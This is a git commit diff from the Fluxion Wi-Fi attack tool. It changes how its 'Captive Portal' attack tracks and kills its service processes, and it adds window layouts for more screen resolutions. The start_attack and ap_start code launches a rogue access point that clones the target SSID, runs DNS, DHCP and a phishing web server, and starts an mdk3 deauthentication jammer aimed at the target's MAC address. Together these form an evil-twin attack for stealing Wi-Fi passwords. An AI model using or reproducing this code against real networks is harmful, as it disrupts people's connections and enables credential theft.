Enhancements & additions for Captive Portal.

Captive Portal will now target its service PIDs to accurately kill them.
Captive Portal's window arrangement has been enhanced (rearranged).
Captive Portal will now show the web server access log.
This commit is contained in:
Matias Barcenas 2017-12-06 01:54:49 -06:00
parent d6e35fef00
commit 9b8446c957
4 changed files with 100 additions and 49 deletions

View File

@ -968,29 +968,34 @@ function stop_attack() {
# Signal any authenticator to stop authentication loop.
if [ "$authenticatorPID" ]; then kill -s SIGABRT $authenticatorPID; fi
killall mdk3 &> $FLUXIONOutputDevice
local FLUXIONJammer=$(ps a | grep -e "FLUXION AP Jammer" | awk '{print $1'})
if [ "$FLUXIONJammer" ]
then kill $FLUXIONJammer &> $FLUXIONOutputDevice
if [ "$CaptivePortalJammerServiceXtermPID" ]; then
kill $(pgrep -P $CaptivePortalJammerServiceXtermPID 2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice
CaptivePortalJammerServiceXtermPID="" # Clear parent PID
fi
sandbox_remove_workfile "$FLUXIONWorkspacePath/mdk3_blacklist.lst"
# Kill captive portal web server log viewer.
if [ "$CaptivePortalWebServiceXtermPID" ]; then
kill $CaptivePortalWebServiceXtermPID &> $FLUXIONOutputDevice
CaptivePortalWebServiceXtermPID="" # Clear service PID
fi
# Kill captive portal web server.
if [ $CaptivePortalServerPID ]; then
kill $CaptivePortalServerPID &> $FLUXIONOutputDevice
CaptivePortalServerPID=""
if [ "$CaptivePortalWebServicePID" ]; then
kill $CaptivePortalWebServicePID &> $FLUXIONOutputDevice
CaptivePortalWebServicePID="" # Clear service PID
fi
# Kill python DNS service if one is found.
local FLUXIONDNS=$(ps a | grep -e "FLUXION AP DNS" | awk '{print $1'})
if [ "$FLUXIONDNS" ]
then kill $FLUXIONDNS &> $FLUXIONOutputDevice
if [ "$CaptivePortalDNSServiceXtermPID" ]; then
kill $(pgrep -P $CaptivePortalDNSServiceXtermPID 2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice
CaptivePortalDNSServiceXtermPID="" # Clear parent PID
fi
# Kill DHCP service.
local FLUXIONDHCP=$(ps a | grep -e "FLUXION AP DHCP" | awk '{print $1'})
if [ "$FLUXIONDHCP" ]
then kill $FLUXIONDHCP &> $FLUXIONOutputDevice
if [ "$CaptivePortalDHCPServiceXtermPID" ]; then
kill $(pgrep -P $CaptivePortalDHCPServiceXtermPID 2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice
CaptivePortalDHCPServiceXtermPID="" # Clear parent PID
fi
sandbox_remove_workfile "$FLUXIONWorkspacePath/clients.txt"
@ -1009,21 +1014,27 @@ function start_attack() {
captive_portal_start_interface
echo -e "$FLUXIONVLine $CaptivePortalStartingDHCPServiceNotice"
xterm -bg black -fg green $TOPLEFT -title "FLUXION AP DHCP Service" -e "dhcpd -d -f -lf \"$FLUXIONWorkspacePath/dhcpd.leases\" -cf \"$FLUXIONWorkspacePath/dhcpd.conf\" $VIGW 2>&1 | tee -a \"$FLUXIONWorkspacePath/clients.txt\"" &
xterm $FLUXIONHoldXterm $TOPLEFT -bg black -fg "#CCCC00" -title "FLUXION AP DHCP Service" -e "dhcpd -d -f -lf \"$FLUXIONWorkspacePath/dhcpd.leases\" -cf \"$FLUXIONWorkspacePath/dhcpd.conf\" $VIGW 2>&1 | tee -a \"$FLUXIONWorkspacePath/clients.txt\"" &
CaptivePortalDHCPServiceXtermPID=$! # Save parent's pid, to get to child later.
echo -e "$FLUXIONVLine $CaptivePortalStartingDNSServiceNotice"
xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FLUXION AP DNS Service" -e "if type python2 >/dev/null 2>/dev/null; then python2 \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py\"; else python \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py\"; fi" &
xterm $FLUXIONHoldXterm $BOTTOMLEFT -bg black -fg "#99CCFF" -title "FLUXION AP DNS Service" -e "if type python2 >/dev/null 2>/dev/null; then python2 \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py\"; else python \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py\"; fi" &
CaptivePortalDNSServiceXtermPID=$! # Save parent's pid, to get to child later.
echo -e "$FLUXIONVLine $CaptivePortalStartingWebServiceNotice"
lighttpd -f "$FLUXIONWorkspacePath/lighttpd.conf" &> $FLUXIONOutputDevice
CaptivePortalServerPID=$!
CaptivePortalWebServicePID=$!
xterm $FLUXIONHoldXterm $BOTTOM -bg black -fg "#00CC00" -title "FLUXION Web Service" -e "tail -f \"$FLUXIONWorkspacePath/lighttpd.log\"" &
CaptivePortalWebServiceXtermPID=$!
echo -e "$FLUXIONVLine $CaptivePortalStartingJammerServiceNotice"
echo -e "$APTargetMAC" > "$FLUXIONWorkspacePath/mdk3_blacklist.lst"
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "FLUXION AP Jammer [mdk3] $APTargetSSID" -e "mdk3 $WIMonitor d -c $APTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" &
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" -title "FLUXION AP Jammer Service [$APTargetSSID]" -e "mdk3 $WIMonitor d -c $APTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" &
CaptivePortalJammerServiceXtermPID=$! # Save parent's pid, to get to child later.
echo -e "$FLUXIONVLine $CaptivePortalStartingAuthenticatorServiceNotice"
xterm -hold $TOPRIGHT -bg "#000000" -fg "#CCCCCC" -title "FLUXION AP Authenticator" -e "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" &
xterm -hold $TOPRIGHT -bg black -fg "#CCCCCC" -title "FLUXION AP Authenticator" -e "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" &
}
# FLUXSCRIPT END

View File

@ -269,67 +269,106 @@ fi
#################################### < Resolution > ####################################
function fluxion_set_resolution() { # Windows + Resolution
function resA() {
function resA() { ## A) 1024x600
TOPLEFT="-geometry 90x13+0+0"
TOPRIGHT="-geometry 83x26-0+0"
TOPRIGHT="-geometry 82x26-0+0"
BOTTOMLEFT="-geometry 90x24+0-0"
BOTTOMRIGHT="-geometry 75x12-0-0"
TOPLEFTBIG="-geometry 91x42+0+0"
TOPRIGHTBIG="-geometry 83x26-0+0"
BOTTOMRIGHT="-geometry 74x12-0-0"
TOPLEFTBIG="-geometry 90x42+0+0"
TOPRIGHTBIG="-geometry 82x26-0+0"
TOP="-geometry 100x24+350+0"
BOTTOM="-geometry 100x24+350-0"
LEFT="-geometry 100x24+0+125"
RIGHT="-geometry 100x24-0+125"
}
function resB() {
function resB() { ## B) 1024x768
TOPLEFT="-geometry 92x14+0+0"
TOPRIGHT="-geometry 68x25-0+0"
BOTTOMLEFT="-geometry 92x36+0-0"
BOTTOMRIGHT="-geometry 74x20-0-0"
TOPLEFTBIG="-geometry 100x52+0+0"
TOPRIGHTBIG="-geometry 74x30-0+0"
TOP="-geometry 100x24+350+0"
BOTTOM="-geometry 100x24+350-0"
LEFT="-geometry 100x24+0+200"
RIGHT="-geometry 100x24-0+200"
}
function resC() {
function resC() { ## C) 1280x768
TOPLEFT="-geometry 100x20+0+0"
TOPRIGHT="-geometry 109x20-0+0"
TOPRIGHT="-geometry 110x20-0+0"
BOTTOMLEFT="-geometry 100x30+0-0"
BOTTOMRIGHT="-geometry 109x20-0-0"
BOTTOMRIGHT="-geometry 110x20-0-0"
TOPLEFTBIG="-geometry 100x52+0+0"
TOPRIGHTBIG="-geometry 109x30-0+0"
TOPRIGHTBIG="-geometry 110x30-0+0"
TOP="-geometry 100x24+350+0"
BOTTOM="-geometry 100x24+350-0"
LEFT="-geometry 100x24+0+200"
RIGHT="-geometry 100x24-0+200"
}
function resD() {
function resD() { ## D) 1280x1024
TOPLEFT="-geometry 110x35+0+0"
TOPRIGHT="-geometry 99x40-0+0"
TOPRIGHT="-geometry 100x40-0+0"
BOTTOMLEFT="-geometry 110x35+0-0"
BOTTOMRIGHT="-geometry 99x30-0-0"
BOTTOMRIGHT="-geometry 100x30-0-0"
TOPLEFTBIG="-geometry 110x72+0+0"
TOPRIGHTBIG="-geometry 99x40-0+0"
TOPRIGHTBIG="-geometry 100x40-0+0"
TOP="-geometry 100x24+350+0"
BOTTOM="-geometry 100x24+350-0"
LEFT="-geometry 100x24+0+350"
RIGHT="-geometry 100x24-0+350"
}
function resE() {
function resE() { ## E) 1600x1200
TOPLEFT="-geometry 130x43+0+0"
TOPRIGHT="-geometry 68x25-0+0"
BOTTOMLEFT="-geometry 130x40+0-0"
BOTTOMRIGHT="-geometry 132x35-0-0"
TOPLEFTBIG="-geometry 130x85+0+0"
TOPRIGHTBIG="-geometry 132x48-0+0"
TOP="-geometry 100x24+500+0"
BOTTOM="-geometry 100x24+500-0"
LEFT="-geometry 100x24+0+400"
RIGHT="-geometry 100x24-0+400"
}
function resF() {
TOPLEFT="-geometry 100x17+0+0"
TOPRIGHT="-geometry 90x27-0+0"
BOTTOMLEFT="-geometry 100x30+0-0"
BOTTOMRIGHT="-geometry 90x20-0-0"
TOPLEFTBIG="-geometry 100x70+0+0"
TOPRIGHTBIG="-geometry 90x27-0+0"
function res1K() { ## 1K 1920x1080
TOPLEFT="-geometry 100x24+0+0"
TOPRIGHT="-geometry 100x24-0+0"
BOTTOMLEFT="-geometry 100x24+0-0"
BOTTOMRIGHT="-geometry 100x24-0-0"
TOPLEFTBIG="-geometry 140x48+0+0"
TOPRIGHTBIG="-geometry 140x48-0+0"
TOP="-geometry 100x24+650+0"
BOTTOM="-geometry 100x24+650-0"
LEFT="-geometry 100x24+0+400"
RIGHT="-geometry 100x24-0+400"
}
detectedresolution=$(xdpyinfo 2> /dev/null | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3)
function res2K() { ## 2K 2560x1440
TOPLEFT="-geometry 100x24+0+0"
TOPRIGHT="-geometry 100x24-0+0"
BOTTOMLEFT="-geometry 100x24+0-0"
BOTTOMRIGHT="-geometry 100x24-0-0"
TOPLEFTBIG="-geometry 140x48+0+0"
TOPRIGHTBIG="-geometry 140x48-0+0"
TOP="-geometry 100x24+975+0"
BOTTOM="-geometry 100x24+975-0"
LEFT="-geometry 100x24+0+550"
RIGHT="-geometry 100x24-0+550"
}
detectedresolution=$(xdpyinfo 2> /dev/null | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d " " -f 3)
## A) 1024x600
## B) 1024x768
## C) 1280x768
## D) 1280x1024
## E) 1600x1200
case $detectedresolution in
"1024x600" ) resA ;;
"1024x768" ) resB ;;
@ -337,7 +376,8 @@ function fluxion_set_resolution() { # Windows + Resolution
"1366x768" ) resC ;;
"1280x1024" ) resD ;;
"1600x1200" ) resE ;;
"1366x768" ) resF ;;
"1920x1080" ) res1K;;
"2560x1440" | "2560x1418" ) res2K;;
* ) resA ;;
esac
}

View File

@ -45,7 +45,7 @@ function ap_prep() {
function ap_start() {
ap_stop
xterm $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "FLUXION AP Service [airbase-ng]" -e airbase-ng -P -e $APTargetSSID -c $APTargetChannel -a $APRogueMAC $VIAP &
xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" -title "FLUXION AP Service [airbase-ng]" -e airbase-ng -P -e $APTargetSSID -c $APTargetChannel -a $APRogueMAC $VIAP &
local parentPID=$!
# Wait till airebase-ng has started and created the extra virtual interface.

View File

@ -69,7 +69,7 @@ channel=$APTargetChannel\
function ap_start() {
ap_stop
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "FLUXION AP Service [hostapd]" -e hostapd "$APServiceConfigDirectory/$APRogueMAC-hostapd.conf" &
xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" -title "FLUXION AP Service [hostapd]" -e hostapd "$APServiceConfigDirectory/$APRogueMAC-hostapd.conf" &
local parentPID=$!
# Wait till hostapd has started and its virtual interface is ready.